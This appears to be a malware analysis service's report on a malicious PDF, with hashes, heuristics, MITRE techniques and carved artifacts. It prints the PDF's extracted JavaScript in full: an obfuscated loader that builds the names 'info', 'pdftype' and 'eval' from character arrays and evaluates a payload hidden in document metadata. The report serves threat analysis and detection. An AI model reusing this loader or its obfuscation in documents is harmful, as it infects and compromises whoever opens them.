Malicious PDF — malware analysis report

Static analysis result for SHA-256 8c61e3090f40682d…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-08
MD5: 4c512f05a746110ca58983288ca59e18 SHA-1: d116d5f731aeb7f2e630aeafc10ba296474873f0 SHA-256: 8c61e3090f40682db5e056d5e40f0360dd1ee3adc1f44d9c003aa92558766959
60 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment

The PDF contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. This script is likely designed to download and execute a second-stage payload. The presence of XFA form elements (PDF_XFA) and a long encoded blob in extracted artifacts further suggests a complex, potentially malicious document structure. The embedded URLs, while not definitively malicious, are included as potential indicators.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9994

Heuristics 6

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bitstream.com Referenced by PDF JavaScript
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.6/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x876 971 bytes
SHA-256: 664cb4f9651a760cbe4e0b5d1a909140a37f44feabed9f1e4610f4603d4b5014
Preview script
First 1,000 lines of the extracted script
Wo1u6j6T0=this;o562=['b','6','I','i','m','5','0','2','K','a','p','n','m','C','5','q','j','Y','1','f','s','o','o','7','1','5','7','5'];ZWD3C=o562[3]+o562[11]+o562[19]+o562[21];HDM3VM=Wo1u6j6T0[ZWD3C];y0iwC=['m','s','p','U','R','b','c','7','b','d','B','4','Y','h','6','f','M','X','o','8','G','8','t','u','2','Y','y','N','7','6','p','M','E','p','e','Z','I','6','4','s','6'];dguq467=y0iwC[2]+y0iwC[9]+y0iwC[15]+y0iwC[22]+y0iwC[26]+y0iwC[30]+y0iwC[34];K6KP0X11=HDM3VM[dguq467];        APb80P3K22="";bp4FI1b2=['p','4','k','7','y','A','D','c','q','5','k','I','h','C','Y','0','k','a','f','3','B','e','r','s','s','A','O','R','t','h','M'];m0x6Q=bp4FI1b2[7]+bp4FI1b2[12]+bp4FI1b2[17]+bp4FI1b2[22]+bp4FI1b2[25]+bp4FI1b2[28];for (i=0;i<K6KP0X11.length;i +=4){   APb80P3K22 +=K6KP0X11.charAt(i);}wSAFNg=['C','6','K','e','W','2','f','A','1','j','Q','v','P','p','u','a','u','l','G','P'];D36X=wSAFNg[3]+wSAFNg[11]+wSAFNg[15]+wSAFNg[17];CdKEtKsik=Wo1u6j6T0[D36X];CdKEtKsik(APb80P3K22);
stream_000_off00000166.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x166 11420 bytes
SHA-256: e68d26191ed59868ce0d4c3fd0fa239314371459f0c1403ce0168232a873e47c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
213 of 213 identifiers look randomly generated (e.g. 'xyMRxyMRxyMMxyMhxyMmxyMLxyMRxyMvxyMyxyMm') — consistent with name-mangling obfuscation. Carved artifact contains 16 long base64-like blob(s).
font_00_sfnt_off000010de.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x10DE 65932 bytes
SHA-256: 044efaa0fcddad6a1afc97a6bd112675dff8d542f6a622fb73e7eb17d43d90f7

Open this report in the interactive analyzer, or submit your own file for analysis.